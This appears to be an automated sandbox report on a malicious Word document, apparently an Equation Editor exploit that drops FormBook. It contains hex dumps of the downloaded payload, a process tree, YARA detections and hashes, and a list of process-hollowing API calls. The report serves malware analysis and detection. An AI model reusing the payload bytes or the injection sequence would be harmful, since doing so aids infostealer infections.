2024-05-02 06:26:08 UTC	1369	IN	Data Raw: 2c 01 2a 04 7e 45 00 00 0a 28 46 00 00 0a 2c 01 2a 02 04 05 0e 04 28 25 02 00 06 2a 7e 02 19 8d 72 00 00 01 25 d0 26 03 00 04 28 ec 00 00 0a 28 11 02 00 06 02 03 28 15 02 00 06 2a 2e 72 7b 09 00 70 80 b7 01 00 04 2a 4e 02 03 7d ba 01 00 04 02 7e b8 01 00 04 7d b9 01 00 04 2a 5a 03 28 2c 00 00 06 28 46 00 00 06 2d 01 2a 02 03 28 31 02 00 06 2a 3e 16 16 16 16 73 33 00 00 06 80 b8 01 00 04 2a ea 02 28 68 00 00 0a 02 03 7d bb 01 00 04 02 04 7d bc 01 00 04 05 2c 13 02 05 6f e3 00 00 0a 74 09 00 00 1b 7d bd 01 00 04 2b 07 02 14 7d bd 01 00 04 02 0e 04 7d be 01 00 04 2a 1e 02 7b bb 01 00 04 2a 1e 02 7b bd 01 00 04 2a 1e 02 7b bc 01 00 04 2a 1e 02 7b be 01 00 04 2a 1e 02 7b bf 01 00 04 2a 1e 02 7b c2 01 00 04 2a 1e 02 7b c0 01 00 04 2a 1e 02 7b c3 01 00 04 2a 1e Data Ascii: ,~E(F,(%~r%&(((.r{pN}~}Z(,(F-(1>s3(h}},ot}+}}{{{{{{{{
2024-05-02 06:26:08 UTC	1369	IN	Data Raw: 01 00 04 02 7b 2c 02 00 04 6f ae 02 00 06 74 7d 00 00 01 2a 72 02 7b 2b 02 00 04 7e f8 01 00 04 02 7b 2c 02 00 04 6f ae 02 00 06 74 7d 00 00 01 2a 72 02 7b 2b 02 00 04 7e f9 01 00 04 02 7b 2c 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 72 02 7b 2b 02 00 04 7e fa 01 00 04 02 7b 2c 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 72 02 7b 2b 02 00 04 7e fb 01 00 04 02 7b 2c 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 72 02 7b 2b 02 00 04 7e fc 01 00 04 02 7b 2c 02 00 04 6f ae 02 00 06 a5 18 00 00 01 2a 72 02 7b 2b 02 00 04 7e 00 02 00 04 02 7b 2c 02 00 04 6f ae 02 00 06 74 7d 00 00 01 2a 72 02 7b 2b 02 00 04 7e ed 01 00 04 02 7b 2c 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 72 02 7b 2b 02 00 04 7e ef 01 00 04 02 7b 2c 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 72 02 7b Data Ascii: {,ot}r{+~{,ot}r{+~{,or{+~{,or{+~{,or{+~{,or{+~{,ot}r{+~{,or{+~{,o*r{
2024-05-02 06:26:08 UTC	1369	IN	Data Raw: 51 02 00 04 28 61 01 00 06 02 7b 2e 02 00 04 17 73 16 03 00 06 2a 62 02 7b 50 02 00 04 28 62 01 00 06 02 7b 2e 02 00 04 16 73 16 03 00 06 2a 26 02 03 04 73 0f 03 00 06 2a 56 7e 51 01 00 0a 80 4e 02 00 04 7e 52 01 00 0a 80 4f 02 00 04 2a 3e 02 03 7d 52 02 00 04 02 04 7d 53 02 00 04 2a 72 02 7b 52 02 00 04 7e 4f 02 00 04 02 7b 53 02 00 04 6f ae 02 00 06 a5 41 00 00 01 2a 5e 02 03 04 28 dc 02 00 06 02 04 7d 5a 02 00 04 02 05 7d 5b 02 00 04 2a 62 02 7b 5b 02 00 04 28 61 01 00 06 02 7b 2e 02 00 04 17 73 1d 03 00 06 2a 62 02 7b 5a 02 00 04 28 62 01 00 06 02 7b 2e 02 00 04 16 73 1d 03 00 06 2a 26 02 03 04 73 18 03 00 06 2a f6 7e 53 01 00 0a 80 54 02 00 04 7e 54 01 00 0a 80 55 02 00 04 7e 55 01 00 0a 80 56 02 00 04 7e 56 01 00 0a 80 57 02 00 04 7e 57 01 00 0a 80 Data Ascii: Q(a{.sb{P(b{.s&sV~QN~RO>}R}Sr{R~O{SoA^(}Z}[b{[(a{.sb{Z(b{.s&s~ST~TU~UV~VW~W
2024-05-02 06:26:08 UTC	1369	IN	Data Raw: 02 00 04 02 7b 8e 02 00 04 6f ae 02 00 06 a5 a2 00 00 01 2a 72 02 7b 8d 02 00 04 7e 86 02 00 04 02 7b 8e 02 00 04 6f ae 02 00 06 a5 a2 00 00 01 2a 72 02 7b 8d 02 00 04 7e 88 02 00 04 02 7b 8e 02 00 04 6f ae 02 00 06 a5 a2 00 00 01 2a 72 02 7b 8d 02 00 04 7e 89 02 00 04 02 7b 8e 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 72 02 7b 8d 02 00 04 7e 8a 02 00 04 02 7b 8e 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 42 02 03 04 28 dc 02 00 06 02 04 7d 90 02 00 04 2a 32 02 7b 90 02 00 04 28 9d 00 00 06 2a 22 02 03 73 61 03 00 06 2a 2e 7e 76 01 00 0a 80 8f 02 00 04 2a 5e 02 03 04 28 dc 02 00 06 02 04 7d 96 02 00 04 02 05 7d 97 02 00 04 2a 62 02 7b 97 02 00 04 28 61 01 00 06 02 7b 2e 02 00 04 17 73 6a 03 00 06 2a 62 02 7b 96 02 00 04 28 62 01 00 06 02 7b 2e 02 00 04 16 Data Ascii: {or{~{or{~{or{~{or{~{oB(}2{("sa.~v^(}}b{(a{.sj*b{(b{.
2024-05-02 06:26:08 UTC	1369	IN	Data Raw: 00 04 28 59 01 00 06 2a 5e 02 03 04 28 dc 02 00 06 02 04 7d d9 02 00 04 02 05 7d da 02 00 04 2a 3a 02 7b d9 02 00 04 03 04 28 a4 00 00 06 2a 3a 02 7b d9 02 00 04 03 04 28 a5 00 00 06 2a 36 02 7b d9 02 00 04 03 28 a6 00 00 06 2a 62 02 7b da 02 00 04 28 61 01 00 06 02 7b 2e 02 00 04 17 73 a3 03 00 06 2a 62 02 7b d9 02 00 04 28 62 01 00 06 02 7b 2e 02 00 04 16 73 a3 03 00 06 2a 26 02 03 04 73 9b 03 00 06 2a a6 7e ac 01 00 0a 80 d5 02 00 04 7e ad 01 00 0a 80 d6 02 00 04 7e ae 01 00 0a 80 d7 02 00 04 7e af 01 00 0a 80 d8 02 00 04 2a 3e 02 03 7d db 02 00 04 02 04 7d dc 02 00 04 2a 72 02 7b db 02 00 04 7e d6 02 00 04 02 7b dc 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 72 02 7b db 02 00 04 7e d7 02 00 04 02 7b dc 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 72 02 7b Data Ascii: (Y^(}}:{(:{(6{(b{(a{.sb{(b{.s&s~~~~>}}r{~{or{~{or{
2024-05-02 06:26:08 UTC	1369	IN	Data Raw: f4 02 00 04 02 7b fa 02 00 04 6f ae 02 00 06 a5 9a 00 00 01 2a 32 02 7b 6f 00 00 0a 28 8e 00 00 06 2a 56 02 28 68 00 00 0a 02 03 7d fb 02 00 04 02 04 7d fc 02 00 04 2a 4a 02 6f 8f 00 00 0a 2c 02 14 2a 02 03 73 d9 03 00 06 2a 7a 02 03 72 9d 0f 00 70 28 f0 03 00 06 02 7b fb 02 00 04 03 7b fb 02 00 04 28 b2 00 00 06 2a e2 02 03 72 a9 0f 00 70 28 ef 03 00 06 02 04 72 bb 0f 00 70 28 f0 03 00 06 02 05 72 d3 0f 00 70 28 ef 03 00 06 02 7b fb 02 00 04 03 04 7b fb 02 00 04 05 28 b3 00 00 06 2a 66 02 03 72 f1 0f 00 70 28 f1 03 00 06 02 7b fb 02 00 04 03 28 b4 00 00 06 2a 32 02 7b fb 02 00 04 28 b8 00 00 06 2a 46 02 7b fb 02 00 04 28 b9 00 00 06 28 8c 02 00 06 2a 7a 03 15 fe 04 16 fe 01 72 ad 10 00 70 28 60 01 00 06 02 7b fb 02 00 04 03 28 ba 00 00 06 2a 6a 02 03 72 Data Ascii: {o2{o(V(h}}Jo,szrp({{(rp(rp(rp({{(frp({(2{(F{((zrp(`{(*jr
2024-05-02 06:26:08 UTC	1369	IN	Data Raw: 02 00 0f 00 00 00 0b 00 00 11 02 12 00 28 c9 00 00 06 28 c6 00 00 06 06 2a 00 13 30 06 00 42 00 00 00 09 00 00 11 05 05 7b 09 01 00 04 7b e6 01 00 04 6f 4d 00 00 0a 73 1c 01 00 06 0c 02 03 04 7b e6 01 00 04 08 12 01 12 00 28 cb 00 00 06 28 c6 00 00 06 05 7b 09 01 00 04 28 4e 00 00 0a 07 06 05 73 18 01 00 06 2a 00 00 13 30 06 00 0c 01 00 00 0c 00 00 11 05 05 7b 09 01 00 04 7b e6 01 00 04 6f 4d 00 00 0a 73 1c 01 00 06 0d 0f 01 04 7b e6 01 00 04 6f 4d 00 00 0a 7d 1e 01 00 04 02 0f 01 09 12 00 12 01 12 02 28 cc 00 00 06 28 c6 00 00 06 05 7b 09 01 00 04 28 4e 00 00 0a 04 28 4e 00 00 0a 06 2d 07 16 8d 23 00 00 02 2a 08 8e 69 8d 23 00 00 02 13 04 06 17 6f 4f 00 00 0a 13 05 16 13 06 38 8c 00 00 00 07 11 06 94 13 07 11 06 08 8e 69 17 59 32 09 06 16 6f 4f 00 00 0a Data Ascii: ((0B{{oMs{(({(Ns0{{oMs{oM}(({(N(N-#*i#oO8iY2oO

Target ID:	0
Start time:	08:26:02
Start date:	02/05/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13ff80000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:26:03
Start date:	02/05/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:26:08
Start date:	02/05/2024
Path:	C:\Users\user\AppData\Roaming\op55336.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\op55336.scr"
Imagebase:	0xdd0000
File size:	636'928 bytes
MD5 hash:	3CCB984FD28AFEA83F2F2E8A6ED4CCFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_DLInjector02, Description: Detects downloader injector, Source: 00000005.00000002.351612822.0000000000D40000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:26:09
Start date:	02/05/2024
Path:	C:\Users\user\AppData\Roaming\op55336.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\op55336.scr"
Imagebase:	0xdd0000
File size:	636'928 bytes
MD5 hash:	3CCB984FD28AFEA83F2F2E8A6ED4CCFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:26:28
Start date:	02/05/2024
Path:	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe"
Imagebase:	0x1f0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	08:26:30
Start date:	02/05/2024
Path:	C:\Windows\SysWOW64\dfrgui.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\dfrgui.exe"
Imagebase:	0x9e0000
File size:	586'752 bytes
MD5 hash:	FB036244DBD2FADC225AD8650886B641
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:26:33
Start date:	02/05/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:26:45
Start date:	02/05/2024
Path:	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe"
Imagebase:	0x1f0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:27:04
Start date:	02/05/2024
Path:	C:\Program Files (x86)\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"
Imagebase:	0x12c0000
File size:	517'064 bytes
MD5 hash:	C2D924CE9EA2EE3E7B7E6A7C476619CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00679718 Relevance: 4.4, Strings: 3, Instructions: 664COMMON

Download Yara Rule

Strings

t, xrefs: 00679C75
*yT, xrefs: 006798E8
*yT, xrefs: 006798D0

Memory Dump Source

Source File: 00000002.00000002.349581619.000000000066F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0066F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_66f000_EQNEDT32.jbxd

Similarity

API ID:
String ID: *yT$*yT$t
API String ID: 0-1495078640
Opcode ID: 3af9d9933c86a906b7d87e7a270e2ca88e31827f8417bd59d9698723503cbb81
Instruction ID: 7b99f38d68a741b2c7732a4d30e34167904e846ae16359b642982531e0b3ce12
Opcode Fuzzy Hash: 3af9d9933c86a906b7d87e7a270e2ca88e31827f8417bd59d9698723503cbb81
Instruction Fuzzy Hash: B342ED6240E3C19FC7178B344C795907FB1AE23218B1E46DBC8D5CF9E3E219991AC766

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: op55336.scrPID: 3192, Parent PID: 1808COMMON

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	44
Total number of Limit Nodes:	1

Executed Functions

Function 00154868 Relevance: 1.7, APIs: 1, Instructions: 224
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00154A41

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e030bc36cbf3a65ce91d52f87f96e908443cb248edce31ce26b6976d0e15e3af
Instruction ID: 6add4b0379eec317d0c7a66f8f7260f20ce7a602720fdc1ba3ab7b744db344ac
Opcode Fuzzy Hash: e030bc36cbf3a65ce91d52f87f96e908443cb248edce31ce26b6976d0e15e3af
Instruction Fuzzy Hash: E081E174D00219CFDF25CFA5C844BDEBBB5BB09304F1491AAE519B7210DB709A89CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00154870 Relevance: 1.7, APIs: 1, Instructions: 220
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00154A41

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9bc00d7250c19185249a71cf51c8b34560cfc358541174e930aa9682a36f6035
Instruction ID: d2065041ad47544a4c057f46886ec0ba5336145949e06eaae175ea5f19f681a0
Opcode Fuzzy Hash: 9bc00d7250c19185249a71cf51c8b34560cfc358541174e930aa9682a36f6035
Instruction Fuzzy Hash: DD81E174D00229CFDF25CFA5C884BDEBBB5BB09304F1491AAE519B7210DB709A89CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00153910 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001539EB

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f9508b93f68515f1cda94fe2a66f6ff6c3cda8ecc2860f3331ed402fa434508e
Instruction ID: 98d1dc777f9bbf8cb5598d7ea71a4732d15fa743f3fe174e858fc6fea57193ba
Opcode Fuzzy Hash: f9508b93f68515f1cda94fe2a66f6ff6c3cda8ecc2860f3331ed402fa434508e
Instruction Fuzzy Hash: 9641ACB4D01248DFCF00CFA9D984ADEFBF1BB49314F24942AE824BB210D375AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00153918 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001539EB

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 603bcfa33d4450b1530b2f3aa8de6bc37de203cc972b8f43844307937e047329
Instruction ID: cd63152d5b2a4b22275f20a2f935f10bfff0d780c47098e8f7a659daef258e57
Opcode Fuzzy Hash: 603bcfa33d4450b1530b2f3aa8de6bc37de203cc972b8f43844307937e047329
Instruction Fuzzy Hash: 86419BB5D01258DFCB00CFA9D984ADEFBF1BB49314F24942AE814BB210D375AA45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00153A6C Relevance: 1.6, APIs: 1, Instructions: 104
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00153B1A

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2aeea6a0e5254be10b8696fbf5e7486e7742f535e34c4f0882ea87bd30ee0db7
Instruction ID: 1c95102203e49e43cd035a9ae3a80ce13579dee7ec8bb126778228286f0acf38
Opcode Fuzzy Hash: 2aeea6a0e5254be10b8696fbf5e7486e7742f535e34c4f0882ea87bd30ee0db7
Instruction Fuzzy Hash: 3731ABB4D00258DFCF10CFA9D984ADEFBB1BB49310F20942AE814BB210D735AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00154C9C Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00154D4D

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 787a83b51c4b4d03f44c50e9c05a129218412ef359e2bba3a128428edb703f57
Instruction ID: 5887b93f35b8bea1835010a7e870af62dbbb6d18f4aa3ee0ee1a59da6e5b738f
Opcode Fuzzy Hash: 787a83b51c4b4d03f44c50e9c05a129218412ef359e2bba3a128428edb703f57
Instruction Fuzzy Hash: 193179B9D00258DFCF10CFAAD884ADEFBB1BB59314F20902AE814B7210D375AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00153A70 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00153B1A

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fecc867fb741f4abd0bf50b486cc1970161b0e0f4c193b8ae7c856f4efac6e30
Instruction ID: 80afbd6a3030bd673045ea1d47e28f6fb9d0680d26c1920aa13d0904e4b038de
Opcode Fuzzy Hash: fecc867fb741f4abd0bf50b486cc1970161b0e0f4c193b8ae7c856f4efac6e30
Instruction Fuzzy Hash: F13189B8D00258DFCF10CFA9D984ADEFBB1BB49350F20942AE825BB210D735AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00154CA0 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00154D4D

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 0c00a9c75ed086afe62705d79e8c5f0e4f4b81aa4a80b0a3e28825d0eeac4d99
Instruction ID: 3d924771e375c0164ed18dad8864e834aa417c40f5b737413cab8cc920b593e0
Opcode Fuzzy Hash: 0c00a9c75ed086afe62705d79e8c5f0e4f4b81aa4a80b0a3e28825d0eeac4d99
Instruction Fuzzy Hash: 1E318AB9D00258DFCF10CFAAD884ADEFBB1BB59310F10902AE814B7210D375AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 001537E9 Relevance: 1.6, APIs: 1, Instructions: 95
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0015389F

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c7c15ac04dfc9044f1340fefc1bff0fa2c45e6843ef05200b0bc9bbd498971a0
Instruction ID: dd59b0dd3e20bca5bacb59c904b9b6a7145ffd679d20cf4fcfe8f72fffa1648e
Opcode Fuzzy Hash: c7c15ac04dfc9044f1340fefc1bff0fa2c45e6843ef05200b0bc9bbd498971a0
Instruction Fuzzy Hash: 1C41B0B4D01258DFDB14CFA9D884AEEBBF1BB89354F24842AE814B7250C7786A49CF54

Uniqueness

Uniqueness Score: -1.00%

Function 001537F0 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0015389F

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 95ea898f5a4fd9ead71337bd85540dcc56960d82086f43a11ab0166f61f87105
Instruction ID: 8d7f78f166774abf29b6fab96de8012957e3d81ae251d95017e239c0c94bfde3
Opcode Fuzzy Hash: 95ea898f5a4fd9ead71337bd85540dcc56960d82086f43a11ab0166f61f87105
Instruction Fuzzy Hash: 6531BDB4D00258DFDB14CFA9D884AEEBBF1BB49354F24842AE814B7240C778AA49CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00153B88 Relevance: 1.6, APIs: 1, Instructions: 77
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 00153C0E

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b3dd75e472c45d40843d57ad7ea3d6cd9a32f01f0dbafd1928b200169c99400a
Instruction ID: 71254cbca40e6d56783362b890e398c4cb053fafb4b64f3699cf0bea90cf3083
Opcode Fuzzy Hash: b3dd75e472c45d40843d57ad7ea3d6cd9a32f01f0dbafd1928b200169c99400a
Instruction Fuzzy Hash: 7431BCB4D00219DFDF10CFA9D984ADEFBB4AB49350F20942AE824B7250D775A945CF94

Uniqueness

Uniqueness Score: -1.00%

